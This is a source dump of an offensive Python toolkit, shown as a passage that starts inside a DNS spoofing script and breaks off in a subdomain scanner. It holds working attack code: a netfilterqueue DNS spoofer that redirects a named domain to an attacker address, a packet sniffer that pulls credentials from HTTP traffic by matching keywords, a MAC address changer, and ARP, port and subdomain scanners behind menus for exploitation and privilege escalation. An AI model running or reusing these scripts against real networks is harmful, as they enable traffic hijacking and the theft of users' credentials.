-------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | # DNSpoof DNS Spoofer Script 4 | 5 | # Imports all needed variables and packages 6 | import netfilterqueue 7 | import scapy.all as scapy 8 | 9 | def process_packet(packet): 10 | scapy_packet = scapy.IP(packet.get_payload()) 11 | if scapy_packet.haslayer(scapy.DNSRR): 12 | qname = scapy_packet[scapy.DNSQR].qname 13 | if "www.vulnweb.com" in qname: 14 | print("[+] Spoofed target") 15 | answer = scapy.DNSRR(rrname=qname, rdata="192.168.81.128") 16 | scapy_packet[scapy.DNS].an = answer 17 | scapy_packet[scapy.DNS].ancount = 1 18 | 19 | del scapy_packet[scapy.IP].len 20 | del scapy_packet[scapy.IP].chksum 21 | del scapy_packet[scapy.UDP].chksum 22 | del scapy_packet[scapy.UDP].len 23 | 24 | packet.set_payload(str(scapy_packet)) 25 | 26 | packet.accept() 27 | 28 | queue = netfilterqueue.NetfilterQueue() 29 | queue.bind(0, process_packet) 30 | queue.run() 31 | -------------------------------------------------------------------------------- /modules/scripts/network/machanger.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import machanger_header 4 | from assets.colors import * 5 | from assets.prefixes import invalid_input_prefix, eagleshell_prefix, interface_prefix, new_mac_prefix, unavailable_interface_prefix 6 | from assets.shortcuts import Exit 7 | from .network import Network 8 | import os 9 | import subprocess 10 | import netifaces 11 | import re 12 | 13 | 14 | class MAChanger: 15 | def __init__(self): 16 | self.allowed_interface_list = ['wlan0', 'wlan1', 'wlan2', 'wlan3', 'mon0', 'mon1', 'mon2', 'mon3', 'wlp5s0', 'wlp5s1', 'wlp5s2', 'wlp5s3', 'eth0', 'eth1', 'eth2', 'eth3'] 17 | self.disallowed_interface_list = ['lo', 'tun0', 'tun1', 'tun2', 'tun3', 'mon1', 'mon2', 'mon3', 'wlp5s0', 'wlp5s1', 'wlp5s2', 'wlp5s3', 'eth0', 'eth1', 'eth2', 'eth3'] 18 | self.configuration() 19 | 20 | def configuration(self): 21 | try: 22 | machanger_header() 23 | print('Configuration:') 24 | self.interfaces() 25 | print('\n\tZ): Back') 26 | print('\tX): Exit\n') 27 | while True: 28 | self.interface_set = input(interface_prefix) 29 | if self.interface_set in self.allowed_interface_list: 30 | self.set_mac() 31 | elif self.interface_set == 'z': 32 | Network() 33 | elif self.interface_set == 'x': 34 | Exit() 35 | else: 36 | print(unavailable_interface_prefix) 37 | continue 38 | except KeyboardInterrupt: 39 | Exit() 40 | 41 | def interfaces(self): 42 | x = netifaces.interfaces() 43 | for i in x: 44 | if i in self.allowed_interface_list: 45 | print(GREEN + '\n\t[+] Available Interface: ' + i + WHITE) 46 | elif self.disallowed_interface_list != i: 47 | print(RED + '\n\t[-] Unavailable Interface: ' + i + WHITE) 48 | 49 | def set_mac(self): 50 | try: 51 | machanger_header() 52 | print('MAC Address:') 53 | print('\n\tExample 1: 00:11:22:33:44:55') 54 | print('\tExample 2: 12:22:33:44:55:66') 55 | print('\n\tZ): Back') 56 | print('\tX): Exit\n') 57 | while True: 58 | self.mac_set = input(new_mac_prefix).lower() 59 | if self.mac_set == 'z': 60 | Network() 61 | elif self.mac_set == 'x': 62 | Exit() 63 | else: 64 | self.run_tasks() 65 | except KeyboardInterrupt: 66 | Exit() 67 | 68 | def run_tasks(self): 69 | self.change_mac() 70 | self.current_mac = self.get_current_mac() 71 | if self.current_mac == self.mac_set: 72 | self.confirmed = 'MAC address was successfully changed.' 73 | self.succ_fail = True 74 | self.result() 75 | else: 76 | self.confirmed = 'MAC address did not get changed.' 77 | self.succ_fail = False 78 | self.result() 79 | 80 | def get_current_mac(self): 81 | try: 82 | ifconfig_result = subprocess.check_output(["ifconfig", self.interface_set]) 83 | mac_address_search_result = re.search(r"\w\w:\w\w:\w\w:\w\w:\w\w:\w\w", str(ifconfig_result)) 84 | if mac_address_search_result: 85 | return mac_address_search_result.group(0) 86 | else: 87 | pass 88 | except subprocess.CalledProcessError: 89 | print(RED + '[-] Failed.. Please Try Again.' + WHITE) 90 | os.system('sleep 1') 91 | Exit() 92 | 93 | def change_mac(self): 94 | os.system("ifconfig " + self.interface_set + " down" + " >/dev/null 2>&1") 95 | os.system("ifconfig " + self.interface_set + " hw " + " ether " + self.mac_set + " >/dev/null 2>&1") 96 | os.system("ifconfig " + self.interface_set + " up" + " >/dev/null 2>&1") 97 | 98 | def result(self): 99 | try: 100 | machanger_header() 101 | if self.succ_fail == True: 102 | color = GREEN 103 | else: 104 | color = RED 105 | print('Result:') 106 | print('\n\tINTERFACE SET: ' + color + self.interface_set + WHITE) 107 | print('\n\tMAC SET: ' + color + self.mac_set + WHITE) 108 | print('\n\t---------------------------------------------') 109 | print('\n\tRESULT: ' + color + self.confirmed + WHITE) 110 | print('\n\tCURRENT MAC: ' + color + self.current_mac + WHITE) 111 | print('\n\tY): New') 112 | print('\tZ): Menu') 113 | print('\tX): Exit\n') 114 | while True: 115 | cmd = input(eagleshell_prefix).lower() 116 | if cmd == 'y': 117 | MAChanger() 118 | elif cmd == 'z': 119 | Network() 120 | elif cmd == 'x': 121 | Exit() 122 | else: 123 | print(invalid_input_prefix) 124 | continue 125 | except KeyboardInterrupt: 126 | Exit() 127 | -------------------------------------------------------------------------------- /modules/scripts/network/network.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import network_header 4 | from assets.shortcuts import Exit 5 | from assets.prefixes import eagleshell_prefix, invalid_input_prefix 6 | 7 | 8 | class Network: 9 | def __init__(self): 10 | try: 11 | network_header() 12 | print('Scripts:') 13 | print('\n\t1): MAChanger - MAC Address Changer') 14 | print('\t2): ARPSpoof - ARP Spoofer') 15 | print('\t3): PacketSniff - Packet Sniffer') 16 | print('\n\tZ): Back') 17 | print('\tX): Exit\n') 18 | while True: 19 | network_select = input(eagleshell_prefix).lower() 20 | if network_select == '1': 21 | from modules.scripts.network.machanger import MAChanger 22 | MAChanger() 23 | elif network_select == '2': 24 | from modules.scripts.network.arpspoof import ARPSpoof 25 | ARPSpoof() 26 | elif network_select == '3': 27 | from modules.scripts.network.packetsniff import PacketSniff 28 | PacketSniff() 29 | elif network_select == 'z': 30 | from ..scripts import Scripts 31 | Scripts() 32 | elif network_select == 'x': 33 | Exit() 34 | else: 35 | print(invalid_input_prefix) 36 | continue 37 | except KeyboardInterrupt: 38 | Exit() 39 | -------------------------------------------------------------------------------- /modules/scripts/network/packetsniff.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import packetsniff_header 4 | from assets.colors import * 5 | from assets.prefixes import invalid_input_prefix, eagleshell_prefix, interface_prefix 6 | from assets.shortcuts import Exit 7 | from .network import Network 8 | import netifaces 9 | import scapy.all as scapy 10 | from scapy.layers import http 11 | 12 | 13 | class PacketSniff: 14 | def __init__(self): 15 | self.allowed_interface_list = ['wlan0', 'wlan1', 'wlan2', 'wlan3', 'mon0', 'mon1', 'mon2', 'mon3', 'wlp5s0', 'wlp5s1', 'wlp5s2', 'wlp5s3', 'eth0', 'eth1', 'eth2', 'eth3'] 16 | self.disallowed_interface_list = ['lo', 'tun0', 'tun1', 'tun2', 'tun3', 'mon1', 'mon2', 'mon3', 'wlp5s0', 'wlp5s1', 'wlp5s2', 'wlp5s3', 'eth0', 'eth1', 'eth2', 'eth3'] 17 | self.total_credentials = 0 18 | self.total_requests = 0 19 | self.configuration() 20 | self.sniff() 21 | self.result() 22 | 23 | def configuration(self): 24 | try: 25 | packetsniff_header() 26 | print('Configuration:') 27 | self.interfaces() 28 | print('\n\tZ): Back') 29 | print('\tX): Exit\n') 30 | while True: 31 | self.interface_set = input(interface_prefix).lower() 32 | if self.interface_set in self.allowed_interface_list: 33 | break 34 | elif self.interface_set == 'z': 35 | Network() 36 | elif self.interface_set == 'x': 37 | Exit() 38 | else: 39 | print(invalid_input_prefix) 40 | continue 41 | except KeyboardInterrupt: 42 | Exit() 43 | 44 | def interfaces(self): 45 | x = netifaces.interfaces() 46 | for i in x: 47 | if i in self.allowed_interface_list: 48 | print(GREEN + '\n\t[+] Available Interface: ' + i + WHITE) 49 | elif self.disallowed_interface_list != i: 50 | print(RED + '\n\t[-] Unavailable Interface: ' + i + WHITE) 51 | 52 | def sniff(self): 53 | try: 54 | packetsniff_header() 55 | print('Output:') 56 | print('\n\tControls') 57 | print('\t--------') 58 | print('\tStop: CTRL+C\n') 59 | scapy.sniff(iface=self.interface_set, store=False, prn=self.process_sniffed_packet) 60 | except KeyboardInterrupt: 61 | self.result() 62 | 63 | def process_sniffed_packet(self, packet): 64 | try: 65 | if packet.haslayer(http.HTTPRequest): 66 | url = self.get_url(packet) 67 | print(YELLOW + '\t[+] ' + GREEN + 'HTTP Request ' + WHITE + '>> ' + BLUE + url.decode() + WHITE) 68 | self.total_requests = self.total_requests + 1 69 | login_info = self.get_login_info(packet) 70 | if login_info: 71 | print(YELLOW + '\t[!] ' + MAGENTA + 'Possible Credentials Found ' + WHITE + '>> ' + BLUE + login_info + WHITE) 72 | self.total_credentials = self.total_credentials + 1 73 | except KeyboardInterrupt: 74 | self.result() 75 | 76 | def get_url(self, packet): 77 | try: 78 | return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path 79 | except KeyboardInterrupt: 80 | self.result() 81 | 82 | def get_login_info(self, packet): 83 | try: 84 | if packet.haslayer(scapy.Raw): 85 | load = str(packet[scapy.Raw].load) 86 | keywords = ["username", "user", "login", "password", "pass"] 87 | for keywords in keywords: 88 | if keywords in load: 89 | return load 90 | except KeyboardInterrupt: 91 | self.result() 92 | 93 | def result(self): 94 | try: 95 | packetsniff_header() 96 | print('Result:') 97 | print('\n\tInput') 98 | print('\t-----') 99 | print('\tINTERFACE: ' + GREEN + self.interface_set + WHITE) 100 | print('\n\tOutput') 101 | print('\t------') 102 | print('\tTOTAL REQUESTS: ' + GREEN + str(self.total_requests) + WHITE) 103 | print('\tTOTAL CREDENTIALS: ' + GREEN + str(self.total_credentials) + WHITE) 104 | print('\n\tY): New') 105 | print('\tZ): Menu') 106 | print('\tX): Exit\n') 107 | while True: 108 | cmd = input(eagleshell_prefix).lower() 109 | if cmd == 'y': 110 | PacketSniff() 111 | elif cmd == 'z': 112 | Network() 113 | elif cmd == 'x': 114 | Exit() 115 | else: 116 | print(invalid_input_prefix) 117 | continue 118 | except KeyboardInterrupt: 119 | Exit() 120 | -------------------------------------------------------------------------------- /modules/scripts/privilege_escalation/privilege_escalation.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import privilege_escalation_header 4 | from assets.shortcuts import Exit 5 | from assets.prefixes import eagleshell_prefix, invalid_input_prefix 6 | from assets.colors import * 7 | 8 | 9 | class PrivilegeEscalation: 10 | def __init__(self): 11 | try: 12 | privilege_escalation_header() 13 | print('Scripts:') 14 | print('\n\t1): BR4NCH - Linux PE Enumeration Script') 15 | print('\n\tZ): Back') 16 | print('\tX): Exit\n') 17 | while True: 18 | privilege_escalation_select = input(eagleshell_prefix).lower() 19 | if privilege_escalation_select == '1': 20 | print(YELLOW + '\n\tYou can download our PE Enum Script on our Github Page:' + RESET + BLUE + '\n\thttps://github.com/TRSTN4/BR4NCH\n' + RESET) 21 | elif privilege_escalation_select == 'z': 22 | from ..scripts import Scripts 23 | Scripts() 24 | elif privilege_escalation_select == 'x': 25 | Exit() 26 | else: 27 | print(invalid_input_prefix) 28 | continue 29 | except KeyboardInterrupt: 30 | Exit() 31 | -------------------------------------------------------------------------------- /modules/scripts/scanning/netscan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import netscan_header 4 | from assets.colors import * 5 | from assets.prefixes import eagleshell_prefix, invalid_input_prefix, net_ip_prefix, net_range_prefix 6 | from assets.shortcuts import Exit 7 | from .scanning import Scanning 8 | import netifaces 9 | import scapy.all as scapy 10 | 11 | 12 | class NetScan: 13 | def __init__(self): 14 | self.configuration() 15 | self.scan_result = self.net_scanner() 16 | self.result(self.scan_result) 17 | 18 | def configuration(self): 19 | try: 20 | netscan_header() 21 | print('Network:') 22 | self.netifaces() 23 | print('\n\t-------------------------\n') 24 | print('\tNetIP Example: 10.10.10.0') 25 | print('\tNetRange Example: 24\n') 26 | print('\tZ): Back') 27 | print('\tX): Exit\n') 28 | self.net_ip_set = input(net_ip_prefix).lower() 29 | if self.net_ip_set == 'z': 30 | Scanning() 31 | elif self.net_ip_set == 'x': 32 | Exit() 33 | self.net_range_set = input(net_range_prefix).lower() 34 | if self.net_range_set == 'z': 35 | Scanning() 36 | elif self.net_range_set == 'x': 37 | Exit() 38 | except KeyboardInterrupt: 39 | Exit() 40 | 41 | def netifaces(self): 42 | interfaces = netifaces.interfaces() 43 | for x in interfaces: 44 | if x != '': 45 | print('\n\tInterface: ' + x) 46 | try: 47 | ip = netifaces.ifaddresses(x)[netifaces.AF_INET][0]['addr'] 48 | print('\tIP addr: {0} '.format(ip)) 49 | except KeyError: 50 | continue 51 | 52 | def net_scanner(self): 53 | arp_request = scapy.ARP(pdst=self.net_ip_set + '/' + self.net_range_set) 54 | broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") 55 | arp_request_broadcast = broadcast/arp_request 56 | answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0] 57 | clients_list = [] 58 | for element in answered_list: 59 | client_dict = {"ip": element[1].psrc, "mac": element[1].hwsrc} 60 | clients_list.append(client_dict) 61 | return clients_list 62 | 63 | def result(self, results_list): 64 | try: 65 | netscan_header() 66 | print('Result:\n') 67 | print("\tIP\t\t\tMAC Address") 68 | print('\t-----------------------------------------') 69 | for client in results_list: 70 | if len(client["ip"]) < 8: 71 | pass 72 | else: 73 | print('\t' + GREEN + BOLD + client["ip"] + "\t\t" + client["mac"] + WHITE) 74 | print('\n\tY): New') 75 | print('\tZ): Menu') 76 | print('\tX): Exit\n') 77 | while True: 78 | cmd = input(eagleshell_prefix).lower() 79 | if cmd == 'y': 80 | NetScan() 81 | elif cmd == 'z': 82 | Scanning() 83 | elif cmd == 'x': 84 | Exit() 85 | else: 86 | print(invalid_input_prefix) 87 | continue 88 | except KeyboardInterrupt: 89 | Exit() 90 | -------------------------------------------------------------------------------- /modules/scripts/scanning/portscan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import portscan_header 4 | from assets.colors import * 5 | from assets.prefixes import eagleshell_prefix, invalid_input_prefix, rhost_prefix 6 | from assets.shortcuts import Exit 7 | from .scanning import Scanning 8 | import socket 9 | 10 | 11 | class PortScan: 12 | def __init__(self): 13 | self.port_list = [] 14 | self.configuration() 15 | self.scan_target() 16 | self.result() 17 | 18 | def configuration(self): 19 | try: 20 | portscan_header() 21 | print('RHOST:') 22 | print('\n\tExample: 192.168.1.128') 23 | print('\n\tZ): Back') 24 | print('\tX): Exit\n') 25 | self.rhost_set = input(rhost_prefix).lower() 26 | if self.rhost_set == 'z': 27 | Scanning() 28 | elif self.rhost_set == 'x': 29 | Exit() 30 | except KeyboardInterrupt: 31 | Exit() 32 | 33 | def scan_target(self): 34 | try: 35 | portscan_header() 36 | print('Scanning:\n') 37 | print('\tScanning target ' + self.rhost_set + '\n') 38 | try: 39 | for port in range(1, 65535): 40 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 41 | socket.setdefaulttimeout(1) 42 | final_result = s.connect_ex((self.rhost_set, port)) 43 | if final_result == 0: 44 | print('\tPort {} is open'.format(port)) 45 | self.port_list.append(format(port)) 46 | except socket.gaierror: 47 | print('Hostname could not be resolved.') 48 | PortScan() 49 | except socket.error: 50 | print("Couldn't connect to server.") 51 | PortScan() 52 | except KeyboardInterrupt: 53 | self.result() 54 | 55 | def result(self): 56 | try: 57 | portscan_header() 58 | print('Output:\n') 59 | if len(self.port_list) < 1: 60 | print('\tRHOST: ' + RED + BOLD + self.rhost_set + WHITE) 61 | else: 62 | print('\tRHOST: ' + GREEN + BOLD + self.rhost_set + WHITE) 63 | if len(self.port_list) < 1: 64 | print('\n\tOPEN PORTS: ' + RED + BOLD + 'NONE' + WHITE) 65 | else: 66 | print('\n\tOPEN PORTS: ' + GREEN + BOLD + format(self.port_list).replace('[', '').replace(']', '').replace("'", '') + WHITE) 67 | print('\n\tY): New') 68 | print('\tZ): Menu') 69 | print('\tX): Exit\n') 70 | while True: 71 | cmd = input(eagleshell_prefix).lower() 72 | if cmd == 'y': 73 | PortScan() 74 | elif cmd == 'z': 75 | Scanning() 76 | elif cmd == 'x': 77 | Exit() 78 | else: 79 | print(invalid_input_prefix) 80 | continue 81 | except KeyboardInterrupt: 82 | Exit() 83 | -------------------------------------------------------------------------------- /modules/scripts/scanning/scanning.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import scanning_header 4 | from assets.prefixes import eagleshell_prefix, invalid_input_prefix 5 | from assets.shortcuts import Exit 6 | 7 | 8 | class Scanning: 9 | def __init__(self): 10 | try: 11 | scanning_header() 12 | print('Scripts:') 13 | print('\n\t1): NetScan - Network Scanner') 14 | print('\t2): PortScan - Port Scanner') 15 | print('\n\tZ): Back') 16 | print('\tX): Exit\n') 17 | while True: 18 | scanning_select = input(eagleshell_prefix).lower() 19 | if scanning_select == '1': 20 | from modules.scripts.scanning.netscan import NetScan 21 | NetScan() 22 | elif scanning_select == '2': 23 | from modules.scripts.scanning.portscan import PortScan 24 | PortScan() 25 | elif scanning_select == 'z': 26 | from ..scripts import Scripts 27 | Scripts() 28 | elif scanning_select == 'x': 29 | Exit() 30 | else: 31 | print(invalid_input_prefix) 32 | continue 33 | except KeyboardInterrupt: 34 | Exit() 35 | -------------------------------------------------------------------------------- /modules/scripts/scripts.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import scripts_header 4 | from assets.shortcuts import Exit 5 | from assets.prefixes import eagleshell_prefix, invalid_input_prefix 6 | 7 | 8 | class Scripts: 9 | def __init__(self): 10 | try: 11 | scripts_header() 12 | print('Options:') 13 | print('\n\t1): Scanning') 14 | print('\t2): Enumeration') 15 | print('\t3): Exploitation') 16 | print('\t4): Privilege Escalation') 17 | print('\t5): Brute Force') 18 | print('\t6): Network') 19 | print('\t7): Web') 20 | print('\t8): Miscellaneous') 21 | print('\n\tZ): Back') 22 | print('\tX): Exit\n') 23 | while True: 24 | scripts_select = input(eagleshell_prefix).lower() 25 | if scripts_select == '1': 26 | from .scanning.scanning import Scanning 27 | Scanning() 28 | elif scripts_select == '2': 29 | from .enumeration.enumeration import Enumeration 30 | Enumeration() 31 | elif scripts_select == '3': 32 | from .exploitation.exploitation import Exploitation 33 | Exploitation() 34 | elif scripts_select == '4': 35 | from .privilege_escalation.privilege_escalation import PrivilegeEscalation 36 | PrivilegeEscalation() 37 | elif scripts_select == '5': 38 | from .brute_force.brute_force import BruteForce 39 | BruteForce() 40 | elif scripts_select == '6': 41 | from .network.network import Network 42 | Network() 43 | elif scripts_select == '7': 44 | from .web.web import Web 45 | Web() 46 | elif scripts_select == '8': 47 | from .miscellaneous.miscellaneous import Miscellaneous 48 | Miscellaneous() 49 | elif scripts_select == '9': 50 | from .miscellaneous.miscellaneous import Miscellaneous 51 | Miscellaneous() 52 | elif scripts_select == 'z': 53 | from ..modules import Modules 54 | Modules() 55 | elif scripts_select == 'x': 56 | Exit() 57 | else: 58 | print(invalid_input_prefix) 59 | continue 60 | except KeyboardInterrupt: 61 | Exit() 62 | -------------------------------------------------------------------------------- /modules/scripts/web/imgextract.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import imgextract_header 4 | from assets.colors import * 5 | from assets.prefixes import invalid_input_prefix, eagleshell_prefix, url_prefix, path_prefix, unable_to_connect_prefix 6 | from assets.shortcuts import Exit 7 | from .web import Web 8 | import os 9 | import requests 10 | from tqdm import tqdm 11 | from bs4 import BeautifulSoup as bs 12 | from urllib.parse import urljoin, urlparse 13 | 14 | 15 | class IMGExtract: 16 | def __init__(self): 17 | self.total_downloads = 0 18 | self.configuration() 19 | imgs = self.get_all_images(self.url_set) 20 | for img in imgs: 21 | self.download(img, self.path_set) 22 | self.total_downloads = self.total_downloads + 1 23 | self.result() 24 | 25 | def configuration(self): 26 | try: 27 | imgextract_header() 28 | print('Configuration:') 29 | print('\n\tPaste Your URL') 30 | print('\tExample 1: http://mysite.com') 31 | print('\tExample 2: mysite.com') 32 | print('\n\tZ): Back') 33 | print('\tX): Exit\n') 34 | self.url_set = input(url_prefix) 35 | if self.url_set == 'z' or self.url_set == 'Z': 36 | Web() 37 | elif self.url_set == 'x' or self.url_set == 'X': 38 | Exit() 39 | if 'http://' in self.url_set or 'https://' in self.url_set: 40 | pass 41 | else: 42 | self.url_set = 'http://' + self.url_set 43 | imgextract_header() 44 | print('Configuration:') 45 | print('\n\tChoose Storage Path') 46 | print('\tExample: /opt/img/') 47 | print('\n\tZ): Back') 48 | print('\tX): Exit\n') 49 | self.path_set = input(path_prefix) 50 | if self.path_set == 'z' or self.path_set == 'Z': 51 | Web() 52 | elif self.path_set == 'x' or self.path_set == 'X': 53 | Exit() 54 | except KeyboardInterrupt: 55 | Exit() 56 | 57 | def get_all_images(self, url): 58 | try: 59 | imgextract_header() 60 | print('Output:') 61 | print('\n\tControls') 62 | print('\t--------') 63 | print('\tStop: CTRL+C\n') 64 | soup = bs(requests.get(url).content, "html.parser") 65 | urls = [] 66 | for img in tqdm(soup.find_all("img"), "Extracting images"): 67 | img_url = img.attrs.get("src") 68 | if not img_url: 69 | continue 70 | img_url = urljoin(url, img_url) 71 | try: 72 | pos = img_url.index("?") 73 | img_url = img_url[:pos] 74 | except ValueError: 75 | pass 76 | if self.is_valid(img_url): 77 | urls.append(img_url) 78 | return urls 79 | except requests.exceptions.ConnectionError: 80 | print(unable_to_connect_prefix) 81 | os.system('sleep 1.5') 82 | IMGExtract() 83 | except KeyboardInterrupt: 84 | self.result() 85 | 86 | def is_valid(self, url): 87 | parsed = urlparse(url) 88 | return bool(parsed.netloc) and bool(parsed.scheme) 89 | 90 | def download(self, url, pathname): 91 | try: 92 | if not os.path.isdir(pathname): 93 | os.makedirs(pathname) 94 | response = requests.get(url, stream=True) 95 | file_size = int(response.headers.get("Content-Length", 0)) 96 | filename = os.path.join(pathname, url.split("/")[-1]) 97 | progress = tqdm(response.iter_content(1024), f"[+] Downloading: {filename}", total=file_size, unit="B", unit_scale=True, unit_divisor=1024) 98 | with open(filename, "wb") as f: 99 | for data in progress: 100 | f.write(data) 101 | progress.update(len(data)) 102 | except KeyboardInterrupt: 103 | self.result() 104 | 105 | def result(self): 106 | try: 107 | imgextract_header() 108 | print('Result:') 109 | print(WHITE + "\n\tTotal Images Downloaded: " + GREEN + str(self.total_downloads) + WHITE) 110 | print(WHITE + "\n\tURL Set: " + GREEN + str(self.url_set) + WHITE) 111 | print(WHITE + "\tPATH Set: " + GREEN + str(self.path_set) + WHITE) 112 | print('\n\tY): New') 113 | print('\tZ): Menu') 114 | print('\tX): Exit\n') 115 | while True: 116 | cmd = input(eagleshell_prefix).lower() 117 | if cmd == 'y': 118 | IMGExtract() 119 | elif cmd == 'z': 120 | Web() 121 | elif cmd == 'x': 122 | Exit() 123 | else: 124 | print(invalid_input_prefix) 125 | continue 126 | except KeyboardInterrupt: 127 | Exit() 128 | -------------------------------------------------------------------------------- /modules/scripts/web/linkextract.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import linkextract_header 4 | from assets.colors import * 5 | from assets.prefixes import invalid_input_prefix, eagleshell_prefix, url_prefix, done_prefix 6 | from assets.shortcuts import Exit 7 | from .web import Web 8 | import os 9 | import requests 10 | from urllib.request import urlparse, urljoin 11 | from bs4 import BeautifulSoup 12 | 13 | 14 | class LinkExtract: 15 | def __init__(self): 16 | self.internal_urls = set() 17 | self.external_urls = set() 18 | self.total_urls_visited = 0 19 | self.configuration() 20 | self.result() 21 | 22 | def configuration(self): 23 | try: 24 | linkextract_header() 25 | print('Configuration:') 26 | print('\n\tPaste Your URL') 27 | print('\tExample 1: http://mysite.com') 28 | print('\tExample 2: mysite.com') 29 | print('\n\tZ): Back') 30 | print('\tX): Exit\n') 31 | self.url_set = input(url_prefix) 32 | if self.url_set == 'z' or self.url_set == 'Z': 33 | Web() 34 | elif self.url_set == 'x' or self.url_set == 'X': 35 | Exit() 36 | if 'http://' in self.url_set or 'https://' in self.url_set: 37 | pass 38 | else: 39 | self.url_set = 'http://' + self.url_set 40 | linkextract_header() 41 | print('Output:') 42 | print('\n\tControls') 43 | print('\t--------') 44 | print('\tStop: CTRL+C\n') 45 | self.crawl(self.url_set) 46 | self.result() 47 | except KeyboardInterrupt: 48 | Exit() 49 | 50 | def crawl(self, url, max_urls=50): 51 | try: 52 | self.total_urls_visited += 1 53 | links = self.get_all_website_links(url) 54 | for link in links: 55 | if self.total_urls_visited > max_urls: 56 | break 57 | self.crawl(link, max_urls=max_urls) 58 | except requests.exceptions.ConnectionError: 59 | print(RED + "\n\t[-] URL does not exist." + WHITE) 60 | os.system('sleep 2') 61 | LinkExtract() 62 | 63 | def get_all_website_links(self, url): 64 | try: 65 | urls = set() 66 | domain_name = urlparse(url).netloc 67 | soup = BeautifulSoup(requests.get(url).content, "html.parser") 68 | for a_tag in soup.findAll("a"): 69 | href = a_tag.attrs.get("href") 70 | if href == "" or href is None: 71 | continue 72 | href = urljoin(url, href) 73 | parsed_href = urlparse(href) 74 | href = parsed_href.scheme + "://" + parsed_href.netloc + parsed_href.path 75 | if not self.is_valid(href): 76 | continue 77 | if href in self.internal_urls: 78 | continue 79 | if domain_name not in href: 80 | if href not in self.external_urls: 81 | print(YELLOW + '\t[!] ' + MAGENTA + 'External Link Found ' + WHITE + '>> ' + BLUE + f"{href}" + WHITE) 82 | self.external_urls.add(href) 83 | continue 84 | print(YELLOW + '\t[+] ' + GREEN + 'Internal Link Found ' + WHITE + '>> ' + BLUE + f"{href}" + WHITE) 85 | urls.add(href) 86 | self.internal_urls.add(href) 87 | input('\n' + done_prefix).lower() 88 | return urls 89 | except KeyboardInterrupt: 90 | self.result() 91 | 92 | def is_valid(self, url): 93 | parsed = urlparse(url) 94 | return bool(parsed.netloc) and bool(parsed.scheme) 95 | 96 | def result(self): 97 | try: 98 | linkextract_header() 99 | print('Result:') 100 | print(GREEN, "\n\tTotal Internal Links:", len(self.internal_urls), WHITE) 101 | print(MAGENTA, "\tTotal External Links:", len(self.external_urls), WHITE) 102 | print(BLUE, "\tTotal URLs:", len(self.external_urls) + len(self.internal_urls), WHITE) 103 | print('\n\tY): New') 104 | print('\tZ): Menu') 105 | print('\tX): Exit\n') 106 | while True: 107 | cmd = input(eagleshell_prefix).lower() 108 | if cmd == 'y': 109 | LinkExtract() 110 | elif cmd == 'z': 111 | Web() 112 | elif cmd == 'x': 113 | Exit() 114 | else: 115 | print(invalid_input_prefix) 116 | continue 117 | except KeyboardInterrupt: 118 | Exit() 119 | -------------------------------------------------------------------------------- /modules/scripts/web/subscan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.headers import subscan_header 4 | from assets.colors import * 5 | from assets.prefixes import invalid_input_prefix, website_prefix, wordlist_prefix, eagleshell_prefix 6 | from assets.shortcuts import Exit 7 | from modules.scripts.web.web import Web 8 | import os 9 | import requests 10 | 11 | 12 | class SubScan: 13 | def __init__(self): 14 | self.configuration() 15 | self.sub_scan() 16 | self.result() 17 | 18 | def configuration(self): 19 | try: 20 | subscan_header() 21 | print('Website:') 22 | print('\n\tExample: google.com') 23 | print('\n\tZ): Back') 24 | print('\tX): Exit\n') 25 | self.web_set = input(website_prefix).lower() 26 | if self.web_set == 'z': 27 | Web() 28 | elif self.web_set == 'x': 29 | Exit() 30 | subscan_header() 31 | print('Wordlist:') 32 | print('\n\tExample: /usr/share/wordlists/mylist.txt') 33 | print('\n\tZ): Back') 34 | print('\tX): Exit\n') 35 | self.sub_list_set = input(wordlist_prefix) 36 | if self.sub_list_set == 'z' or self.sub_list_set == 'Z': 37 | Web() 38 | elif self.sub_list_set == 'x' or self.sub_list_set == 'X': 39 | Exit() 40 | except KeyboardInterrupt: 41 | Exit() 42 | 43 | def sub_scan(self): 44 | try: 45 | subscan_header() 46 | print('Output:') 47 | print('\n\tControls') 48 | print('\t--------') 49 | print('\tStop: CTRL+C\n') 50 | self.total_found = 0 51 | domain = self.web_set 52 | file = open(self.sub_list_set) 53 | content = file.read() 54 | subdomains = content.splitlines() 55 | for subdomain in subdomains: 56 | url = f"http://" + subdomain + "." + domain 57 | try: 58 | requests.get(url) 59 | except requests.exceptions.HTTPError: 60 | pass 61 | else: 62 | print(YELLOW + BOLD + '\t[+] ' + GREEN + BOLD + 'Discovered SubDomain ' + WHITE + BOLD + '>> ' + BLUE + BOLD + str(url)) 63 | self.total_found = self.total_found + 1 64 | except UnicodeError: 65 | print(RED + '[+] Wordlist Size Too Big..' + WHITE) 66 | os.system('sleep 2') 67 | Exit() 68 | except KeyboardInterrupt: 69 | self.result() 70 | 71 | def result(self): 72 | try: 73 | subscan_header() 74 | print('Result:') 75 | print('\n\tInput') 76 | print('\t-----') 77 | if self.total_found < 1: 78 | print('\tWEBSITE: ' + RED + BOLD + self.web_set + WHITE) 79 | else: 80 | print('\tWEBSITE: ' + GREEN + BOLD + self.web_set + WHITE) 81 | if self.total_found < 1: 82 | print('\tWORDLIST: ' + RED + BOLD + self.sub_list_set + WHITE) 83 | else: 84 | print('\tWORDLIST: ' + GREEN + BOLD + self.sub_list_set + WHITE) 85 | print('\n\tOutput') 86 | print('\t------') 87 | if self.total_found < 1: 88 | print('\tSUBDOMAINS FOUND: ' + RED + BOLD + 